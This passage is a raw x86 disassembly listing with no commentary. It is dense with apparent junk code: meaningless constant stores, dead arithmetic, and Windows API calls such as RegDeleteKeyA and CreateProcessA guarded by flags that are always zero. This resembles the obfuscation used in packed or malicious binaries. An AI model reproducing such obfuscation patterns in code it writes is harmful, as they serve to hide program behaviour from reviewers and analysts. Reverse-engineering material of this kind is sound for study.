inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002adcb
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002ae06
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1358], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002aded
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jg 0x1002b0f0
movdqa xmm0, xmmword [0x10008bc0]
lea eax, [ebp - 0x11f0]
push eax
lea eax, [ebp - 0x1200]
push eax
lea ecx, [ebp - 0x15bc]
movdqu xmmword [ebp - 0x1200], xmm0
call fcn.10014c57
lea ecx, [ebp - 0x1b0]
mov esi, eax
call fcn.1000a0c3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x2d0]
push dword [esi]
call fcn.10014c1d
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0x48], 0x279a
xor eax, eax
mov dword [ebp - 0x38], 0xc6a3
mov dword [ebp - 0x44], 0xbfa08552
push eax
mov dword [ebp - 0x3c], 0x2b5d06de
call fcn.10014c48
push 3
pop esi
mov dword [eax], esi
jmp 0x1002af90
xor eax, eax
mov dword [ebp - 0x18], 0x1d962ee6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jg 0x1002af36
or eax, 0xffffffff
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x2d0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x390]
xor eax, eax
push eax
call fcn.10014c48
xor eax, eax
lea ecx, [ebp - 0x2d0]
push eax
call fcn.10014c48
mov eax, dword [eax]
mov dword [ebp - 0x1350], eax
test eax, eax
je 0x1002aeed
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1002aeef
mov edx, ebx
jmp 0x1002aef1
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x390]
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xfffffff8
setge al
xor edx, edx
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x388]
cmp ecx, eax
setle dl
mov dword [ebp - 0x3c], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1002aea7
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jg 0x1002af82
mov dword [ebp - 0x10], eax
jmp 0x1002af54
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x674], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002af43
mov eax, dword [ebp - 0x674]
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0x38], eax
xor eax, eax
push eax
call fcn.10014c48
cmp dword [eax], 0
jne 0x1002af80
inc dword [ebp - 0x18]
push 0
pop eax
cmp dword [ebp - 0x18], esi
jle 0x1002af3e
xor eax, eax
push eax
lea ecx, [ebp - 0x2d0]
call fcn.10014c48
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x2d0]
push eax
call fcn.10014c48
cmp dword [eax], 0
jge 0x1002ae92
xor eax, eax
mov dword [ebp - 0x48], eax
jmp 0x1002b0c8
mov dword [ebp - 0x24], 0xfffffff9
lea ecx, [ebp - 0xf9c]
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x24], 0x8a3d3555
push 2
call fcn.10014bbc
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x10], eax
jmp 0x1002aff5
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf9c]
call fcn.10014c48
mov dword [eax], 0x349b8ae
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002afde
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp + eax*4 - 0x390]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x390], ecx
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002b0ad
mov dword [ebp - 0x24], 0x70bb1dce
xor ebx, ebx
mov dword [ebp - 0x24], 0xb818e961
mov eax, dword [ebp - 0x48]
push 2
mov ecx, dword [ebp + eax*4 - 0x390]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x390]
cmp ecx, eax
lea ecx, [ebp - 0x2d0]
setge bl
call fcn.10014c48
mov dword [eax], ebx
test ebx, ebx
je 0x1002b06c
mov eax, dword [ebp - 0x384]
xor ebx, ebx
mov eax, dword [ebp - 0x48]
inc ebx
mov eax, dword [ebp + eax*4 - 0x390]
mov eax, ebx
jmp 0x1002b071
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x44], eax
xor eax, eax
cmp dword [ebp - 0x44], 6
jne 0x1002b086
mov edx, ebx
cmp dword [ebp - 0x388], eax
jne 0x1002b088
mov edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, 0xb566e66b
mov ecx, dword [ebp + eax*4 - 0x390]
sbb eax, eax
neg eax
imul eax, eax, 0x7c0c
add ecx, eax
mov dword [ebp - 0x3c], ecx
dec dword [ebp - 0x30]
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jle 0x1002b019
lea ecx, [ebp - 0xf9c]
mov byte [ebp - 4], 0xd
call fcn.10014c43
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], esi
jle 0x1002afb1
push 9
pop eax
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 4], al
call fcn.10014c43
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x1002ae13
xor eax, eax
mov ecx, 0x9f4f9a02
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x44], 0xfffffff9
mov dword [ebp - 0x44], 0x98aac1e0
mov dword [ebp - 0x3c], 0x72d50fa8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffe7
jle 0x1002b1d4
xor ebx, ebx
mov dword [ebp - 0x38], 0xfffffffb
xor edx, edx
mov dword [ebp - 0x34], 0x4039ee49
mov dword [ebp - 0x44], 0x866193f
mov dword [ebp - 0x44], 0xe91c8413
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp eax, 0xf0a9
setg cl
xor eax, eax
cmp ecx, edx
setl al
sub eax, dword [ebp - 0x38]
inc eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
je 0x1002b182
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], ebx
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
xor edx, edx
neg eax
imul ecx, eax, 0x6c50
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setle dl
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe7
jg 0x1002b12b
xor ebx, ebx
inc ebx
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0xd00], eax
mov dword [ebp - 0xcfc], eax
mov dword [ebp - 0xcf8], eax
mov dword [ebp - 0xcf4], eax
mov dword [ebp - 0x1c], 0xdf98a59c
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002b209
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1002b22b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd00], 0x633efc07
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002b212
xor eax, eax
push 2
mov dword [ebp - 0x20], eax
pop esi
cmp dword [ebp - 0x20], esi
jge 0x1002b254
push dword [ebp - 0x20]
lea ecx, [ebp - 0x714]
call fcn.10014c48
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1002b236
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002b266
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1544], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1002b259
push esi
lea ecx, [ebp - 0xa48]
call fcn.10014bbc
mov byte [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0x2b3f54c3
mov dword [ebp - 0x3c], 0x545f0a86
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002b2b4
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa48]
call fcn.10014c48
mov dword [eax], 0x342eb90d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002b296
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002b2c6
push eax
call dword [sym.imp.USER32.dll_DestroyCursor]
xor eax, eax
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], eax
jl 0x1002b541
push esi
lea ecx, [ebp - 0xdc]
call fcn.10014bbc
mov byte [ebp - 4], 0x10
or eax, 0xffffffff
mov dword [ebp - 0x10], 0xc84b7b83
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002b304
push dword [ebp - 0x10]
call fcn.10014c48
and dword [eax], 0
inc dword [ebp - 0x10]
lea ecx, [ebp - 0xdc]
cmp dword [ebp - 0x10], esi
jl 0x1002b2f6
push ebx
call fcn.10014c48
cmp dword [eax], 0xffff
ja 0x1002b3b2
push ebx
lea ecx, [ebp - 0xdc]
call fcn.10014c48
push ebx
lea ecx, [ebp - 0xdc]
call fcn.10014c48
push ebx
lea ecx, [ebp - 0xdc]
call fcn.10014c48
push ebx
lea ecx, [ebp - 0xdc]
call fcn.10014c48
push ebx
lea ecx, [ebp - 0xdc]
mov esi, eax
call fcn.10014c48
mov ecx, dword [esi]
imul ecx, dword [eax]
xor eax, eax
cmp ecx, 0x7552
setne al
sub eax, 0x3bd00e8
cmp eax, 7
jg 0x1002b38e
push ebx
lea ecx, [ebp - 0xdc]
call fcn.10014c48
cmp dword [eax], 0
je 0x1002b38e
mov esi, ebx
jmp 0x1002b392
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0xdc]
call fcn.10014c48
or ecx, 0xffffffff
mov eax, dword [eax]
imul eax, esi
neg eax
cmp eax, ecx
jg 0x1002b3b2
mov esi, ebx
xor eax, eax
jmp 0x1002b3b6
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0xdc]
call fcn.10014c48
mov ecx, 0xfffd
cmp ecx, esi
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, dword [eax]
setg dl
xor eax, eax
mov dword [ebp - 0x10], edx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002b3f6
push 0x1e82
push 0x1022
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
xor eax, eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x1002b526
mov dword [ebp - 0x1c], 0xcc8af953
mov dword [ebp - 0x2c], 0x8b1495dd
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002b42e
push eax
push eax
push 0x713
push 0x1b91
push eax
call dword [sym.imp.USER32.dll_InsertMenuA]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x1002b51d
mov dword [ebp - 0x3c], 0xe7aebb1b
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x1c]
xor eax, eax
push eax
call fcn.10014c48
mov esi, dword [ebp - 0x38]
lea ecx, [ebp - 0xdc]
push ebx
sub esi, dword [eax]
neg esi
sbb esi, esi
inc esi
call fcn.10014c48
xor ecx, ecx
push ebx
cmp esi, dword [eax]
sete cl
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xdc]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
call fcn.10014c48
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
push 0xfffffffffffffff6
setge dl
pop eax
sub edx, eax
neg edx
sbb edx, edx
inc edx
imul edx, edx, 0x7399
inc edx
neg edx
sbb edx, edx
neg edx
cmp dword [ebp - 0x3c], 0xa5277201
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setge cl
cmp ecx, 0x5ab9
jg 0x1002b4f0
xor eax, eax
lea ecx, [ebp - 0xa48]
push eax
call fcn.10014c48
cmp dword [eax], 0
jne 0x1002b4f0
xor eax, eax
mov esi, eax
jmp 0x1002b4f4
mov esi, ebx
xor eax, eax
push eax
lea ecx, [ebp - 0xdc]
call fcn.10014c48
xor ecx, ecx
cmp esi, dword [eax]
mov eax, dword [ebp - 0x2c]
sete cl
sub ecx, eax
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1002b43a
xor eax, eax
dec dword [ebp - 0x10]
jns 0x1002b402
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 0xf
call fcn.10014c43
dec dword [ebp - 0x38]
push 2
pop esi
jns 0x1002b2d2
push 9
pop eax
lea ecx, [ebp - 0xa48]
mov byte [ebp - 4], al
call fcn.10014c43
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1002b576
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x16fc], 0xfffffffe
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1002b55d
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002b59d
push 9
pop edx
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x160c], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002b588
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jg 0x1002b5cf
xor ebx, ebx
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x1002b5bf
push ebx
push 0x142b
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x1002b5a7
xor ebx, ebx
xor eax, eax
inc ebx
or ecx, 0xffffffff
mov esi, dword [sym.imp.USER32.dll_SendDlgItemMessageA]
cmp dword [ebp - 0x1c], eax
je 0x1002b5fd
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002b769
push eax
push eax
push 0x13c6
push 0x12c0
call edi
push eax
call esi
jmp 0x1002b767
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xe44]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x24], 0x4b4b1328
mov dword [ebp - 0x24], 0xb32a831d
mov dword [ebp - 0x24], 0x79c63c40
mov dword [ebp - 0x24], 0xbe56890c
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0x76373a4c
push 4
call fcn.10014bbc
push ebx
lea ecx, [ebp - 0xfb4]
mov byte [ebp - 4], 0x11
call fcn.10014bbc
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xe30]
mov dword [ebp - 0x24], 0x6ae3d475
push 3
call fcn.10014bbc
push 2
lea ecx, [ebp - 0x9f4]
mov byte [ebp - 4], 0x13
call fcn.10014bbc
xor eax, eax
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1002b6a1
push dword [ebp - 0x20]
lea ecx, [ebp - 0xe44]
call fcn.10014c48
and dword [eax], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1002b685
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002b6c6
push dword [ebp - 0x20]
lea ecx, [ebp - 0xfb4]
call fcn.10014c48
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002b6a9
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x1002b6ee
push dword [ebp - 0x20]
lea ecx, [ebp - 0xe30]
call fcn.10014c48
mov dword [eax], 0xdd33d73c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1002b6cf
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x1002b716
push dword [ebp - 0x20]
lea ecx, [ebp - 0x9f4]
call fcn.10014c48
mov dword [eax], 0xfffffff9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1002b6f7
xor eax, eax
push eax
lea ecx, [ebp - 0x9f4]
call fcn.10014c48
dec dword [eax]
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002b735
push eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
lea ecx, [ebp - 0x9f4]
call fcn.10014c43
lea ecx, [ebp - 0xe30]
call fcn.10014c43
lea ecx, [ebp - 0xfb4]
call fcn.10014c43
push 9
pop eax
lea ecx, [ebp - 0xe44]
mov byte [ebp - 4], al
call fcn.10014c43
xor eax, eax
push eax
lea ecx, [ebp - 0x714]
call fcn.10014c48
cmp dword [eax], 0
je 0x1002b913
or esi, 0xffffffff
xor eax, eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002b7a2
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa8], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002b78e
xor eax, eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0xfffffff8
jge 0x1002b7fb
xor ebx, ebx
mov dword [ebp - 0x44], 0x6cce57bf
mov dword [ebp - 0x30], 0xc6e5c7a0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x44], ebx
je 0x1002b7e1
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x1002b7e7
push ebx
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_SetPropA]
jmp 0x1002b7e7
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], 0xfffffff8
jl 0x1002b7b3
xor ebx, ebx
inc ebx
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002b814
push 0x130c
push 0x23
push eax
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
xor eax, eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0xc1c]
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x44], esi
push ebx
call fcn.10014bbc
xor eax, eax
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], eax
jmp 0x1002b849
push dword [ebp - 0x10]
call fcn.10014c48
and dword [eax], 0
inc dword [ebp - 0x10]
lea ecx, [ebp - 0xc1c]
cmp dword [ebp - 0x10], ebx
jl 0x1002b83b
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
xor eax, eax
push eax
call fcn.10014c48
mov edx, dword [ebp - 0x1c]
mov esi, eax
add edx, dword [ebp - 0x1c]
xor eax, eax
mov ecx, dword [ebp - 0x1c]
cmp ecx, edx
mov ecx, dword [ebp - 0x1c]
setge al
imul ecx, dword [ebp - 0x1c]
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x44]
setle dl
xor ecx, ecx
add edx, 0x59cdc345
cmp eax, edx
setg cl
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [esi], ecx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002b8cb
push eax
push eax
push eax
push eax
push 0x4d
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 9
pop eax
lea ecx, [ebp - 0xc1c]
mov byte [ebp - 4], al
call fcn.10014c43
xor eax, eax
lea ecx, [ebp - 0x714]
push eax
call fcn.10014c48
cmp dword [eax], 0
jne 0x1002b906
xor eax, eax
lea ecx, [ebp - 0x714]
push eax
call fcn.10014c48
cmp dword [eax], 0
jne 0x1002b906
xor eax, eax
jmp 0x1002b908
mov eax, ebx
mov dword [ebp - 0x3c], eax
or esi, 0xffffffff
jmp 0x1002bfc1
xor eax, eax
push 0xfffffffffffffff6
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x1002ba0f
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x3c], 0xf9531def
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xc
jge 0x1002ba0c
mov dword [ebp - 0x1c], 0x223
xor edx, edx
mov dword [ebp - 0x44], 0x5f7626a9
mov dword [ebp - 0x44], 0x48648546
mov dword [ebp - 0x34], 0xc1ab
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
xor eax, eax
sub edx, dword [ebp - 0x18]
je 0x1002b97f
cmp dword [ebp - 0x1c], eax
jne 0x1002b981
mov ebx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x30]
push 1
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
sub ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x34]
setl bl
sub ebx, edx
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
pop ebx
setge cl
imul eax, ecx, 0xfffb
xor ecx, ecx
cmp eax, 7
setge cl
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xc
jl 0x1002b941
push 0xfffffffffffffff6
xor eax, eax
pop ecx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
je 0x1002b923
mov dword [ebp - 0x24], 0xa07e4fc2
lea ecx, [ebp - 0xfcc]
push ebx
call fcn.10014bbc
mov byte [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x24], 0xfc3a065c
mov dword [ebp - 0x44], 0x4f5ac3d6
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002ba61
push dword [ebp - 0x20]
lea ecx, [ebp - 0xfcc]
call fcn.10014c48
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002ba47
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002ba81
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xf44], 0x57a7c203
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002ba69
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002ba9e
push 8
pop ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xde4], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002ba8c
dec dword [ebp - 0x44]
lea ecx, [ebp - 0xfcc]
push 9
pop eax
mov byte [ebp - 4], al
call fcn.10014c43
mov dword [ebp - 0x24], 0xe30f5872
xor eax, eax
mov dword [ebp - 0x24], 0xfffffff7
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x1002bad2
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002baee
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
xor eax, eax
push 9
pop edx
mov dword [ebp - 0x24], edx
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002bb18
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1618], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002bb03
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002bb49
xor ebx, ebx
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x1002bb3b
push ebx
push 0x142b
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002bb23
xor ebx, ebx
inc ebx
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002bc3e
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002bb6e
push eax
push eax
push 0x13c6
push 0x12c0
call edi
push eax
call esi
xor eax, eax
or esi, 0xffffffff
mov dword [ebp - 0x24], 0x5fe46c2e
mov dword [ebp - 0x1c], 0x14a02569
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002bba2
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x684], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002bb8a
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002bbc2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x684], 0xa136951a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002bbaa
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002bbda
push 0xb84
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor eax, eax
mov dword [ebp - 0x24], 0x10c13fe6
mov dword [ebp - 0x24], 0xcb51dba3
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 5
push 4
pop ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x24], 0xe58bfc4f
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x24], 0x62daab72
mov dword [ebp - 0x24], 0xfffffff6
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x3c], 0xfffffffe
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x10], eax
jmp 0x1002bdc0
or esi, 0xffffffff
lea ecx, [ebp - 0xe6c]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x24], 0x4b4b1328
mov dword [ebp - 0x24], 0xb32a831d
mov dword [ebp - 0x24], 0x79c63c40
mov dword [ebp - 0x24], 0xbe56890c
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0x76373a4c
push 4
call fcn.10014bbc
push ebx
lea ecx, [ebp - 0xfe4]
mov byte [ebp - 4], 0x17
call fcn.10014bbc
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xe58]
mov dword [ebp - 0x24], 0x6ae3d475
push 3
call fcn.10014bbc
push 2
lea ecx, [ebp - 0xa0c]
mov byte [ebp - 4], 0x19
call fcn.10014bbc
xor eax, eax
mov byte [ebp - 4], 0x1a
